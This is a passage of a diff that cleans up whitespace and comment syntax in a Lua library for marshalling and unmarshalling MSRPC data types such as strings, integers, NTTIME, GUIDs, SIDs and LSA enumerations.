Marshall a string that is in the format: -- [string,charset(UTF16)] uint16 *str -- --- This has the max size of the buffer, the offset (I'm not sure what the offset does, I've --- never seen it used), the actual size, and the string itself. This will always align to --- the 4-byte boundary. +-- This has the max size of the buffer, the offset (I'm not sure what the offset does, I've +-- never seen it used), the actual size, and the string itself. This will always align to +-- the 4-byte boundary. -- ---@param str The string to insert. Cannot be nil. ---@param do_null [optional] Appends a null to the end of the string. Default false. +--@param str The string to insert. Cannot be nil. +--@param do_null [optional] Appends a null to the end of the string. Default false. --@param max_length [optional] Sets a max length that's different than the string's length. Length --- is in characters, not bytes. ---@return A string representing the marshalled data. +-- is in characters, not bytes. +--@return A string representing the marshalled data. function marshall_unicode(str, do_null, max_length) local buffer_length local result @@ -573,10 +573,10 @@ function marshall_unicode(str, do_null, max_length) end --- Marshall a null-teriminated ascii string, with the length/maxlength prepended. Very similar --- to marshall_unicode, except it's ascii and the null terminator is always used. +-- to marshall_unicode, except it's ascii and the null terminator is always used. -- ---@param str The string to marshall. ---@param max_length [optional] The maximum length; default: actual length. +--@param str The string to marshall. +--@param max_length [optional] The maximum length; default: actual length. function marshall_ascii(str, max_length) local buffer_length local result @@ -592,7 +592,7 @@ function marshall_ascii(str, max_length) padding = padding .. string.char(0) end - result = bin.pack("[string,charset(UTF16)] uint16 *str -- --- See marshall_unicode for more information. +-- See marshall_unicode for more information. -- ---@param data The data buffer. ---@param pos The position in the data buffer. ---@param do_null [optional] Discards the final character, the string terminator. Default false. +--@param data The data buffer. +--@param pos The position in the data buffer. +--@param do_null [optional] Discards the final character, the string terminator. Default false. -- ---@return (pos, str) The new position, and the string. The string may be nil. +--@return (pos, str) The new position, and the string. The string may be nil. function unmarshall_unicode(data, pos, do_null) local ptr, str local max, offset, actual @@ -667,12 +667,12 @@ function unmarshall_unicode(data, pos, do_null) return pos, str end ----Unmarshall a pointer to a unicode string. +---Unmarshall a pointer to a unicode string. -- ---@param data The data being processed. ---@param pos The position within data. ---@param do_null [optional] Assumes a null is at the end of the string. Default false. ---@return (pos, result) The new position and the string. +--@param data The data being processed. +--@param pos The position within data. +--@param do_null [optional] Assumes a null is at the end of the string. Default false. +--@return (pos, result) The new position and the string. function unmarshall_unicode_ptr(data, pos, do_null) local result @@ -683,12 +683,12 @@ function unmarshall_unicode_ptr(data, pos, do_null) return pos, result end ----Marshall an array of unicode strings. This is a perfect demonstration of how to use --- marshall_array. +---Marshall an array of unicode strings. This is a perfect demonstration of how to use +-- marshall_array. -- --@param strings The array of strings to marshall ---@param do_null [optional] Appends a null to the end of the string. Default false. ---@return A string representing the marshalled data. +--@param do_null [optional] Appends a null to the end of the string. Default false. +--@return A string representing the marshalled data. function marshall_unicode_array(strings, do_null) local array = {} local result @@ -705,11 +705,11 @@ function marshall_unicode_array(strings, do_null) end ---Marshall a pointer to an array of unicode strings. See marshall_unicode_array --- for more information. +-- for more information. -- --@param strings The array of strings to marshall ---@param do_null [optional] Appends a null to the end of the string. Default false. ---@return A string representing the marshalled data. +--@param do_null [optional] Appends a null to the end of the string. Default false. +--@return A string representing the marshalled data. function marshall_unicode_array_ptr(strings, do_null) local result @@ -718,9 +718,9 @@ function marshall_unicode_array_ptr(strings, do_null) return result end ---- Marshall an int64. This is simply an 8-byte integer inserted into the buffer, nothing fancy. +--- Marshall an int64. This is simply an 8-byte integer inserted into the buffer, nothing fancy. --@param int64 The integer to insert ---@return A string representing the marshalled data. +--@return A string representing the marshalled data. function marshall_int64(int64) local result @@ -734,9 +734,9 @@ end --- Marshall an int32, which has the following format: -- [in] uint32 var -- --- This is simply an integer inserted into the buffer, nothing fancy. +-- This is simply an integer inserted into the buffer, nothing fancy. --@param int32 The integer to insert ---@return A string representing the marshalled data. +--@return A string representing the marshalled data. function marshall_int32(int32) local result @@ -747,7 +747,7 @@ function marshall_int32(int32) return result end ----Marshall an array of int32 values. +---Marshall an array of int32 values. -- --@param data The array --@return A string representing the marshalled data @@ -768,10 +768,10 @@ end --- Marshall an int16, which has the following format: -- [in] uint16 var -- --- This is simply an integer inserted into the buffer, nothing fancy. +-- This is simply an integer inserted into the buffer, nothing fancy. --@param int16 The integer to insert ---@param pad [optional] If set, will align the insert on 4-byte boundaries. Default: true. ---@return A string representing the marshalled data. +--@param pad [optional] If set, will align the insert on 4-byte boundaries. Default: true. +--@return A string representing the marshalled data. function marshall_int16(int16, pad) local result @@ -791,11 +791,11 @@ end --- Marshall an int8, which has the following format: -- [in] uint8 var -- --- This is simply an integer inserted into the buffer, nothing fancy. +-- This is simply an integer inserted into the buffer, nothing fancy. -- --@param int8 The integer to insert ---@param pad [optional] If set, will align the insert on 4-byte boundaries. Default: true. ---@return A string representing the marshalled data. +--@param pad [optional] If set, will align the insert on 4-byte boundaries. Default: true. +--@return A string representing the marshalled data. function marshall_int8(int8, pad) local result @@ -811,11 +811,11 @@ function marshall_int8(int8, pad) return result end ---- Unmarshall an int64. See marshall_int64 for more information. +--- Unmarshall an int64. See marshall_int64 for more information. -- ---@param data The data being processed. ---@param pos The position within data. ---@return (pos, int64) The new position, and the value. +--@param data The data being processed. +--@param pos The position within data. +--@return (pos, int64) The new position, and the value. function unmarshall_int64(data, pos) local value @@ -829,11 +829,11 @@ function unmarshall_int64(data, pos) return pos, value end ---- Unmarshall an int32. See marshall_int32 for more information. +--- Unmarshall an int32. See marshall_int32 for more information. -- ---@param data The data being processed. ---@param pos The position within data. ---@return (pos, int32) The new position, and the value. +--@param data The data being processed. +--@param pos The position within data. +--@return (pos, int32) The new position, and the value. function unmarshall_int32(data, pos) local value @@ -845,14 +845,14 @@ function unmarshall_int32(data, pos) return pos, value end ---- Unmarshall an int16. See marshall_int16 for more information. +--- Unmarshall an int16. See marshall_int16 for more information. -- ---@param data The data packet. ---@param pos The position within the data. +--@param data The data packet. +--@param pos The position within the data. --@param pad [optional] If set, will remove extra bytes to align the packet, Default: true ---@return (pos, int16) The new position, and the value. +--@return (pos, int16) The new position, and the value. function unmarshall_int16(data, pos, pad) - local value + local value stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_int16()")) @@ -870,14 +870,14 @@ function unmarshall_int16(data, pos, pad) return pos, value end ---- Unmarshall an int8. See marshall_int8 for more information. +--- Unmarshall an int8. See marshall_int8 for more information. -- ---@param data The data packet. ---@param pos The position within the data. +--@param data The data packet. +--@param pos The position within the data. --@param pad [optional] If set, will remove extra bytes to align the packet, Default: true ---@return (pos, int8) The new position, and the value. +--@return (pos, int8) The new position, and the value. function unmarshall_int8(data, pos, pad) - local value + local value stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_int8()")) @@ -895,11 +895,11 @@ function unmarshall_int8(data, pos, pad) return pos, value end ---- Marshall a pointer to an int64. If the pointer is null, it simply marshalls the --- integer '0'. Otherwise, it uses a referent id followed by the integer. +--- Marshall a pointer to an int64. If the pointer is null, it simply marshalls the +-- integer '0'. Otherwise, it uses a referent id followed by the integer. -- --@param int64 The value of the integer pointer ---@return A string representing the marshalled data. +--@return A string representing the marshalled data. function marshall_int64_ptr(int64) local result @@ -912,11 +912,11 @@ end --- Marshall a pointer to an int32, which has the following format: -- [in,out] uint32 *ptr --- If the pointer is null, it simply marshalls the integer '0'. Otherwise, --- it uses a referent id followed by the integer. +-- If the pointer is null, it simply marshalls the integer '0'. Otherwise, +-- it uses a referent id followed by the integer. -- --@param int32 The value of the integer pointer ---@return A string representing the marshalled data. +--@return A string representing the marshalled data. function marshall_int32_ptr(int32) local result @@ -929,12 +929,12 @@ end --- Marshall a pointer to an int16, which has the following format: -- [in,out] uint16 *ptr --- If the pointer is null, it simply marshalls the integer '0'. Otherwise, --- it uses a referent id followed by the integer. +-- If the pointer is null, it simply marshalls the integer '0'. Otherwise, +-- it uses a referent id followed by the integer. -- --@param int16 The value of the integer pointer ---@param pad [optional] If set, will align the insert on 4-byte boundaries. Default: true. ---@return A string representing the marshalled data. +--@param pad [optional] If set, will align the insert on 4-byte boundaries. Default: true. +--@return A string representing the marshalled data. function marshall_int16_ptr(int16, pad) local result @@ -947,12 +947,12 @@ end --- Marshall a pointer to an int8, which has the following format: -- [in,out] uint8 *ptr --- If the pointer is null, it simply marshalls the integer '0'. Otherwise, --- it uses a referent id followed by the integer. +-- If the pointer is null, it simply marshalls the integer '0'. Otherwise, +-- it uses a referent id followed by the integer. -- --@param int8 The value of the integer pointer ---@param pad [optional] If set, will align the insert on 4-byte boundaries. Default: true. ---@return A string representing the marshalled data. +--@param pad [optional] If set, will align the insert on 4-byte boundaries. Default: true. +--@return A string representing the marshalled data. function marshall_int8_ptr(int8, pad) local result @@ -963,11 +963,11 @@ function marshall_int8_ptr(int8, pad) return result end ---- Unmarshall a pointer to an int32. See marshall_int32_ptr for more information. +--- Unmarshall a pointer to an int32. See marshall_int32_ptr for more information. -- ---@param data The data packet. ---@param pos The position within the data. ---@return (pos, int32) The new position, and the value. +--@param data The data packet. +--@param pos The position within the data. +--@return (pos, int32) The new position, and the value. function unmarshall_int32_ptr(data, pos) local result @@ -978,12 +978,12 @@ function unmarshall_int32_ptr(data, pos) return pos, result end ---- Unmarshall a pointer to an int16. See marshall_int16_ptr for more information. +--- Unmarshall a pointer to an int16. See marshall_int16_ptr for more information. -- ---@param data The data packet. ---@param pos The position within the data. +--@param data The data packet. +--@param pos The position within the data. --@param pad [optional] If set, will remove extra bytes to align the packet, Default: true ---@return (pos, int16) The new position, and the value. +--@return (pos, int16) The new position, and the value. function unmarshall_int16_ptr(data, pos, pad) local result @@ -994,12 +994,12 @@ function unmarshall_int16_ptr(data, pos, pad) return pos, result end ---- Unmarshall a pointer to an int8. See marshall_int8_ptr for more information. +--- Unmarshall a pointer to an int8. See marshall_int8_ptr for more information. -- ---@param data The data packet. ---@param pos The position within the data. +--@param data The data packet. +--@param pos The position within the data. --@param pad [optional] If set, will remove extra bytes to align the packet, Default: true ---@return (pos, int8) The new position, and the value. +--@return (pos, int8) The new position, and the value. function unmarshall_int8_ptr(data, pos, pad) local result @@ -1010,12 +1010,12 @@ function unmarshall_int8_ptr(data, pos, pad) return pos, result end ---- Marshall an array of int8s, with an optional max_length set. +--- Marshall an array of int8s, with an optional max_length set. -- ---@param data The array to marshall, as a string. Cannot be nil. ---@param max_length [optional] The maximum length of the buffer. Default: the length of --- data. ---@return A string representing the marshalled data. +--@param data The array to marshall, as a string. Cannot be nil. +--@param max_length [optional] The maximum length of the buffer. Default: the length of +-- data. +--@return A string representing the marshalled data. function marshall_int8_array(data, max_length) local result = "" @@ -1032,13 +1032,13 @@ function marshall_int8_array(data, max_length) return result end ---- Unmarshall an array of int8s. +--- Unmarshall an array of int8s. -- ---@param data The data packet. ---@param pos The position within the data. +--@param data The data packet. +--@param pos The position within the data. --@param pad [optional] If set to true, will align data on 4-byte boundaries. Default: --- true. ---@return (pos, str) The position, and the resulting string, which cannot be nil. +-- true. +--@return (pos, str) The position, and the resulting string, which cannot be nil. function unmarshall_int8_array(data, pos, pad) local max, offset, actual local str @@ -1067,12 +1067,12 @@ function unmarshall_int8_array(data, pos, pad) return pos, str end ---- Marshall a pointer to an array of int8s. +--- Marshall a pointer to an array of int8s. -- ---@param data The array to marshall, as a string. Can be nil. ---@param max_length [optional] The maximum length of the buffer. Default: the length of --- data. ---@return A string representing the marshalled data. +--@param data The array to marshall, as a string. Can be nil. +--@param max_length [optional] The maximum length of the buffer. Default: the length of +-- data. +--@return A string representing the marshalled data. function marshall_int8_array_ptr(data, max_length) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_int8_array_ptr()")) @@ -1084,13 +1084,13 @@ function marshall_int8_array_ptr(data, max_length) end --- Unmarshall a pointer to an array of int8s. By default, aligns the result to 4-byte --- boundaries. +-- boundaries. -- ---@param data The data packet. ---@param pos The position within the data. +--@param data The data packet. +--@param pos The position within the data. --@param pad [optional] If set to true, will align data on 4-byte boundaries. Default: --- true. ---@return (pos, str) The position, and the resulting string, which cannot be nil. +-- true. +--@return (pos, str) The position, and the resulting string, which cannot be nil. function unmarshall_int8_array_ptr(data, pos, pad) local str stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_int8_array_ptr()")) @@ -1101,11 +1101,11 @@ function unmarshall_int8_array_ptr(data, pos, pad) return pos, str end ---- Unmarshall an array of int32s. +--- Unmarshall an array of int32s. -- ---@param data The data packet. ---@param pos The position within the data. ---@return (pos, str) The position, and the resulting string, which cannot be nil. +--@param data The data packet. +--@param pos The position within the data. +--@return (pos, str) The position, and the resulting string, which cannot be nil. function unmarshall_int32_array(data, pos, count) local maxcount local result = {} @@ -1121,9 +1121,9 @@ end --- Unmarshall a pointer to an array of int32s. -- ---@param data The data packet. ---@param pos The position within the data. ---@return (pos, str) The position, and the resulting string, which cannot be nil. +--@param data The data packet. +--@param pos The position within the data. +--@return (pos, str) The position, and the resulting string, which cannot be nil. function unmarshall_int32_array_ptr(data, pos) local count, array @@ -1136,12 +1136,12 @@ end ---Marshalls an NTTIME. This is sent as the number of 1/10 microseconds since 1601; however -- the internal representation is the number of seconds since 1970. Because doing conversions -- in code is annoying, the user will never have to understand anything besides seconds since --- 1970. +-- 1970. -- ---@param time The time, in seconds since 1970. ---@return A string representing the marshalled data. +--@param time The time, in seconds since 1970. +--@return A string representing the marshalled data. function marshall_NTTIME(time) - local result + local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_NTTIME()")) if(time == 0) then @@ -1154,11 +1154,11 @@ function marshall_NTTIME(time) return result end ----Unmarshalles an NTTIME. See marshall_NTTIME for more information. +---Unmarshalles an NTTIME. See marshall_NTTIME for more information. -- ---@param data The data packet. ---@param pos The position within the data. ---@return (pos, time) The new position, and the time in seconds since 1970. +--@param data The data packet. +--@param pos The position within the data. +--@return (pos, time) The new position, and the time in seconds since 1970. function unmarshall_NTTIME(data, pos) local time stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_NTTIME()")) @@ -1176,10 +1176,10 @@ function unmarshall_NTTIME(data, pos) return pos, time end ----Marshalls an NTTIME*. +---Marshalls an NTTIME*. -- ---@param time The time, in seconds since 1970. ---@return A string representing the marshalled data. +--@param time The time, in seconds since 1970. +--@return A string representing the marshalled data. function marshall_NTTIME_ptr(time) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_NTTIME_ptr()")) @@ -1190,11 +1190,11 @@ function marshall_NTTIME_ptr(time) return result end ----Unmarshalles an NTTIME*. +---Unmarshalles an NTTIME*. -- ---@param data The data packet. ---@param pos The position within the data. ---@return (pos, time) The new position, and the time in seconds since 1970. +--@param data The data packet. +--@param pos The position within the data. +--@return (pos, time) The new position, and the time in seconds since 1970. function unmarshall_NTTIME_ptr(data, pos) local time stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_NTTIME_ptr()")) @@ -1205,7 +1205,7 @@ function unmarshall_NTTIME_ptr(data, pos) return pos, time end ----Unmarshall a SYSTEMTIME structure, converting it to a standard representation. The structure is a +---Unmarshall a SYSTEMTIME structure, converting it to a standard representation. The structure is a -- follows: -- -- @@ -1221,9 +1221,9 @@ end -- } SYSTEMTIME -- -- ---@param data The data packet. ---@param pos The position within the data. ---@return (pos, time) The new position, and the time in seconds since 1970. +--@param data The data packet. +--@param pos The position within the data. +--@return (pos, time) The new position, and the time in seconds since 1970. function unmarshall_SYSTEMTIME(data, pos) local date = {} local _ @@ -1237,12 +1237,12 @@ function unmarshall_SYSTEMTIME(data, pos) end ---Unmarshalls a hyper. I have no idea what a hyper is, just that it seems --- to be a 64-bit data type used for measuring time, and that the units happen to be negative --- microseconds. This function converts the value to seconds and returns it. +-- to be a 64-bit data type used for measuring time, and that the units happen to be negative +-- microseconds. This function converts the value to seconds and returns it. -- ---@param data The data packet. ---@param pos The position within the data. ---@return (pos, val) The new position, and the result in seconds. +--@param data The data packet. +--@param pos The position within the data. +--@return (pos, val) The new position, and the result in seconds. function unmarshall_hyper(data, pos) local result stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_hyper()")) @@ -1256,12 +1256,12 @@ end ---Marshall an entry in a table. Basically, converts the string to a number based on the entries in -- table before sending. Multiple values can be ORed together (like flags) by separating --- them with pipes ("|"). +-- them with pipes ("|"). -- ---@param val The value to look up. Can be multiple values with pipes between, eg, "A|B|C". ---@param table The table to use for lookups. The keys should be the names, and the values should be --- the numbers. ---@return A string representing the marshalled data. +--@param val The value to look up. Can be multiple values with pipes between, eg, "A|B|C". +--@param table The table to use for lookups. The keys should be the names, and the values should be +-- the numbers. +--@return A string representing the marshalled data. local function marshall_Enum32(val, table) local result = 0 stdnse.print_debug(4, string.format("MSRPC: Entering marshall_Enum32()")) @@ -1272,7 +1272,7 @@ local function marshall_Enum32(val, table) for i = 1, #vals, 1 do result = bit.bor(result, table[vals[i]]) end - + result = marshall_int32(result) stdnse.print_debug(4, string.format("MSRPC: Leaving marshall_Enum32()")) @@ -1280,14 +1280,14 @@ local function marshall_Enum32(val, table) end ---Unmarshall an entry in a table. Basically, converts the next int32 in the buffer to a string --- based on the entries in table before returning. +-- based on the entries in table before returning. -- ---@param data The data packet. ---@param pos The position within the data. ---@param table The table to use for lookups. The keys should be the names, and the values should be --- the numbers. ---@param default The default value to return if the lookup was unsuccessful. ---@return (pos, policy_handle) The new position, and a table representing the policy_handle. +--@param data The data packet. +--@param pos The position within the data. +--@param table The table to use for lookups. The keys should be the names, and the values should be +-- the numbers. +--@param default The default value to return if the lookup was unsuccessful. +--@return (pos, policy_handle) The new position, and a table representing the policy_handle. local function unmarshall_Enum32(data, pos, table, default) stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_Enum32()")) @@ -1308,15 +1308,15 @@ local function unmarshall_Enum32(data, pos, table, default) end ---Unmarshall an entry in a table. Basically, converts the next int16 in the buffer to a string --- based on the entries in table before returning. +-- based on the entries in table before returning. -- ---@param data The data packet. ---@param pos The position within the data. ---@param table The table to use for lookups. The keys should be the names, and the values should be --- the numbers. ---@param default The default value to return if the lookup was unsuccessful. ---@param pad [optional] If set, will ensure that we end up on an even multiple of 4. Default: true. ---@return (pos, policy_handle) The new position, and a table representing the policy_handle. +--@param data The data packet. +--@param pos The position within the data. +--@param table The table to use for lookups. The keys should be the names, and the values should be +-- the numbers. +--@param default The default value to return if the lookup was unsuccessful. +--@param pad [optional] If set, will ensure that we end up on an even multiple of 4. Default: true. +--@return (pos, policy_handle) The new position, and a table representing the policy_handle. local function unmarshall_Enum16(data, pos, table, default, pad) stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_Enum16()")) @@ -1338,13 +1338,13 @@ end ---Marshall an entry in a table. Basically, converts the string to a number based on the entries in -- table before sending. Multiple values can be ORed together (like flags) by separating --- them with pipes ("|"). +-- them with pipes ("|"). -- ---@param val The value to look up. Can be multiple values with pipes between, eg, "A|B|C". ---@param table The table to use for lookups. The keys should be the names, and the values should be --- the numbers. ---@param pad [optional] If set, will ensure that we end up on an even multiple of 4. Default: true. ---@return A string representing the marshalled data. +--@param val The value to look up. Can be multiple values with pipes between, eg, "A|B|C". +--@param table The table to use for lookups. The keys should be the names, and the values should be +-- the numbers. +--@param pad [optional] If set, will ensure that we end up on an even multiple of 4. Default: true. +--@return A string representing the marshalled data. local function marshall_Enum8(val, table, pad) local result = 0 stdnse.print_debug(4, string.format("MSRPC: Entering marshall_Enum8()")) @@ -1355,7 +1355,7 @@ local function marshall_Enum8(val, table, pad) for i = 1, #vals, 1 do result = bit.bor(result, table[vals[i]]) end - + result = marshall_int8(result, pad) stdnse.print_debug(4, string.format("MSRPC: Leaving marshall_Enum8()")) @@ -1366,11 +1366,11 @@ end ---Similar to unmarshall_Enum32, except it'll return every value that could be ANDed together to -- create the resulting value (except a 0 value). This is effective for parsing flag data types. ---@param data The data packet. ---@param pos The position within the data. ---@param table The table to use for lookups. The keys should be the names, and the values should be --- the numbers. ---@return (pos, array) The new position, and a table representing the enumeration values. +--@param data The data packet. +--@param pos The position within the data. +--@param table The table to use for lookups. The keys should be the names, and the values should be +-- the numbers. +--@return (pos, array) The new position, and a table representing the enumeration values. local function unmarshall_Enum32_array(data, pos, table) local array = {} local i, v @@ -1389,11 +1389,11 @@ local function unmarshall_Enum32_array(data, pos, table) return pos, array end ----Unmarshall raw data. ---@param data The data packet. ---@param pos The position within the data. ---@param length The number of bytes to unmarshall. ---@return (pos, data) The new position in the packet, and a string representing the raw data. +---Unmarshall raw data. +--@param data The data packet. +--@param pos The position within the data. +--@param length The number of bytes to unmarshall. +--@return (pos, data) The new position in the packet, and a string representing the raw data. function unmarshall_raw(data, pos, length) local val stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_raw()")) @@ -1425,8 +1425,8 @@ end -- } GUID; -- -- ---@param guid A table representing the GUID. ---@return A string representing the marshalled data. +--@param guid A table representing the GUID. +--@return A string representing the marshalled data. local function marshall_guid(guid) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_guid()")) @@ -1437,10 +1437,10 @@ local function marshall_guid(guid) return result end ----Unmarshalls a GUID. See marshall_guid for the structure. +---Unmarshalls a GUID. See marshall_guid for the structure. -- ---@param data The data packet. ---@param pos The position within the data. +--@param data The data packet. +--@param pos The position within the data. --@return (pos, result) The new position in data, and a table representing the datatype. local function unmarshall_guid(data, pos) local guid = {} @@ -1464,8 +1464,8 @@ end -- } policy_handle; -- -- ---@param policy_handle The policy_handle to marshall. ---@return A string representing the marshalled data. +--@param policy_handle The policy_handle to marshall. +--@return A string representing the marshalled data. function marshall_policy_handle(policy_handle) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_policy_handle()")) @@ -1478,8 +1478,8 @@ end ---Unmarshalls a policy_handle. See marshall_policy_handle for the structure. -- ---@param data The data packet. ---@param pos The position within the data. +--@param data The data packet. +--@param pos The position within the data. --@return (pos, result) The new position in data, and a table representing the datatype. function unmarshall_policy_handle(data, pos) local policy_handle = {} @@ -1508,8 +1508,8 @@ end -- } dom_sid; -- -- ---@param data The data being processed. ---@param pos The position within data. +--@param data The data being processed. +--@param pos The position within data. --@return (pos, result) The new position in data, and a table representing the datatype. function unmarshall_dom_sid2(data, pos) local i @@ -1542,10 +1542,10 @@ function unmarshall_dom_sid2(data, pos) end ---Unmarshall a pointer to a dom_sid2 struct. See the unmarshall_dom_sid2 function --- for more information. +-- for more information. -- ---@param data The data being processed. ---@param pos The position within data. +--@param data The data being processed. +--@param pos The position within data. --@return (pos, result) The new position in data, and a table representing the datatype. function unmarshall_dom_sid2_ptr(data, pos) return unmarshall_ptr(ALL, data, pos, unmarshall_dom_sid2, {}) @@ -1562,7 +1562,7 @@ end -- } dom_sid; -- -- ---@return A string representing the marshalled data. +--@return A string representing the marshalled data. function marshall_dom_sid2(sid) local i local pos_next @@ -1625,7 +1625,7 @@ end ---A lsa_String is a buffer that holds a non-null-terminated string. It can have a max size that's different -- from its actual size. I tagged this one as "internal" because I don't want the user to have to provide --- a "location". +-- a "location". -- -- This is the format: -- @@ -1638,14 +1638,14 @@ end -- -- --@param location The part of the pointer wanted, either HEAD (for the referent_id), BODY --- (for the pointer data), or ALL (for both together). Generally, unless the --- referent_id is split from the data (for example, in an array), you will want --- ALL. +-- (for the pointer data), or ALL (for both together). Generally, unless the +-- referent_id is split from the data (for example, in an array), you will want +-- ALL. --@param str The string to marshall ---@param max_length [optional] The maximum size of the buffer, in characters, including the null terminator. --- Defaults to the length of the string, including the null. ---@param do_null [optional] Appends a null to the end of the string. Default false. ---@return A string representing the marshalled data. +--@param max_length [optional] The maximum size of the buffer, in characters, including the null terminator. +-- Defaults to the length of the string, including the null. +--@param do_null [optional] Appends a null to the end of the string. Default false. +--@return A string representing the marshalled data. local function marshall_lsa_String_internal(location, str, max_length, do_null) local length local result = "" @@ -1682,19 +1682,19 @@ local function marshall_lsa_String_internal(location, str, max_length, do_null) return result end ----Unmarshall a lsa_String value. See marshall_lsa_String_internal for more information. +---Unmarshall a lsa_String value. See marshall_lsa_String_internal for more information. -- --@param location The part of the pointer wanted, either HEAD (for the data itself), BODY --- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the --- referent_id is split from the data (for example, in an array), you will want --- ALL. ---@param data The data packet. ---@param pos The position within the data. ---@param result This is required when unmarshalling the BODY section, which always comes after --- unmarshalling the HEAD. It is the result returned for this parameter during the +-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the +-- referent_id is split from the data (for example, in an array), you will want +-- ALL. +--@param data The data packet. +--@param pos The position within the data. +--@param result This is required when unmarshalling the BODY section, which always comes after +-- unmarshalling the HEAD. It is the result returned for this parameter during the -- HEAD unmarshall. If the referent_id was '0', then this function doesn't unmarshall --- anything. ---@return (pos, str) The new position, and the unmarshalled string. +-- anything. +--@return (pos, str) The new position, and the unmarshalled string. local function unmarshall_lsa_String_internal(location, data, pos, result) local length, size local str @@ -1715,13 +1715,13 @@ local function unmarshall_lsa_String_internal(location, data, pos, result) return pos, str end ----Public version of marshall_lsa_String_internal -- see that function on that for more information. --- This version doesn't require a location, so it's suitable to be a public function. +---Public version of marshall_lsa_String_internal -- see that function on that for more information. +-- This version doesn't require a location, so it's suitable to be a public function. -- --@param str The string to marshall ---@param max_length [optional] The maximum size of the buffer, in characters, including the null terminator. --- Defaults to the length of the string, including the null. ---@return A string representing the marshalled data. +--@param max_length [optional] The maximum size of the buffer, in characters, including the null terminator. +-- Defaults to the length of the string, including the null. +--@return A string representing the marshalled data. function marshall_lsa_String(str, max_length) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_lsa_String()")) @@ -1732,11 +1732,11 @@ function marshall_lsa_String(str, max_length) return result end ----Marshall an array of lsa_String objects. This is a perfect demonstration of how to use --- marshall_array. +---Marshall an array of lsa_String objects. This is a perfect demonstration of how to use +-- marshall_array. -- --@param strings The array of strings to marshall ---@return A string representing the marshalled data. +--@return A string representing the marshalled data. function marshall_lsa_String_array(strings) local array = {} local result @@ -1777,8 +1777,8 @@ function marshall_lsa_String_array2(strings) return result end ----Table of SID types. -local lsa_SidType = +---Table of SID types. +local lsa_SidType = { SID_NAME_USE_NONE = 0, -- NOTUSED SID_NAME_USER = 1, -- user @@ -1792,7 +1792,7 @@ local lsa_SidType = SID_NAME_COMPUTER = 9 -- machine } ---String versions of SID types -local lsa_SidType_str = +local lsa_SidType_str = { SID_NAME_USE_NONE = "n/a", SID_NAME_USER = "User", @@ -1805,12 +1805,12 @@ local lsa_SidType_str = SID_NAME_UNKNOWN = "Unknown account", SID_NAME_COMPUTER = "Machine" } ----Marshall a lsa_SidType. This datatype is tied to the table above with that --- name. +---Marshall a lsa_SidType. This datatype is tied to the table above with that +-- name. -- --@param sid_type The value to marshall, as a string ---@return The marshalled integer representing the given value, or nil if it wasn't --- found. +--@return The marshalled integer representing the given value, or nil if it wasn't +-- found. function marshall_lsa_SidType(sid_type) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_lsa_SidType()")) @@ -1821,11 +1821,11 @@ function marshall_lsa_SidType(sid_type) return result end ----Unmarshall a lsa_SidType. This datatype is tied to the table with that name. +---Unmarshall a lsa_SidType. This datatype is tied to the table with that name. -- ---@param data The data packet. ---@param pos The position within the data. ---@return (pos, str) The new position, and the string representing the datatype. +--@param data The data packet. +--@param pos The position within the data. +--@return (pos, str) The new position, and the string representing the datatype. function unmarshall_lsa_SidType(data, pos) local str stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_lsa_SidType()")) @@ -1837,10 +1837,10 @@ function unmarshall_lsa_SidType(data, pos) end ---Convert a lsa_SidType value to a string that can be shown to the user. This is --- based on the _str table. +-- based on the _str table. -- --@param val The string value (returned by the unmarshall_ function) to convert. ---@return A string suitable for displaying to the user, or nil if it wasn't found. +--@return A string suitable for displaying to the user, or nil if it wasn't found. function lsa_SidType_tostr(val) local result stdnse.print_debug(4, string.format("MSRPC: Entering lsa_SidType_tostr()")) @@ -1851,8 +1851,8 @@ function lsa_SidType_tostr(val) return result end ----LSA name levels. -local lsa_LookupNamesLevel = +---LSA name levels. +local lsa_LookupNamesLevel = { LOOKUP_NAMES_ALL = 1, LOOKUP_NAMES_DOMAINS_ONLY = 2, @@ -1861,8 +1861,8 @@ local lsa_LookupNamesLevel = LOOKUP_NAMES_FOREST_TRUSTS_ONLY = 5, LOOKUP_NAMES_UPLEVEL_TRUSTS_ONLY2 = 6 } ----LSA name level strings. -local lsa_LookupNamesLevel_str = +---LSA name level strings. +local lsa_LookupNamesLevel_str = { LOOKUP_NAMES_ALL = "All", LOOKUP_NAMES_DOMAINS_ONLY = "Domains only", @@ -1871,12 +1871,12 @@ local lsa_LookupNamesLevel_str = LOOKUP_NAMES_FOREST_TRUSTS_ONLY = "Forest trusted domains only", LOOKUP_NAMES_UPLEVEL_TRUSTS_ONLY2 = "Uplevel trusted domains only (2)" } ----Marshall a lsa_LookupNamesLevel. This datatype is tied to the table above with that --- name. +---Marshall a lsa_LookupNamesLevel. This datatype is tied to the table above with that +-- name. -- --@param names_level The value to marshall, as a string ---@return The marshalled integer representing the given value, or nil if it wasn't --- found. +--@return The marshalled integer representing the given value, or nil if it wasn't +-- found. function marshall_lsa_LookupNamesLevel(names_level) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_lsa_LookupNamesLevel()")) @@ -1887,11 +1887,11 @@ function marshall_lsa_LookupNamesLevel(names_level) return result end ----Unmarshall a lsa_LookupNamesLevel. This datatype is tied to the table with that name. +---Unmarshall a lsa_LookupNamesLevel. This datatype is tied to the table with that name. -- ---@param data The data packet. ---@param pos The position within the data. ---@return (pos, str) The new position, and the string representing the datatype. +--@param data The data packet. +--@param pos The position within the data. +--@return (pos, str) The new position, and the string representing the datatype. function unmarshall_lsa_LookupNamesLevel(data, pos) local str stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_lsa_LookupNamesLevel()")) @@ -1903,10 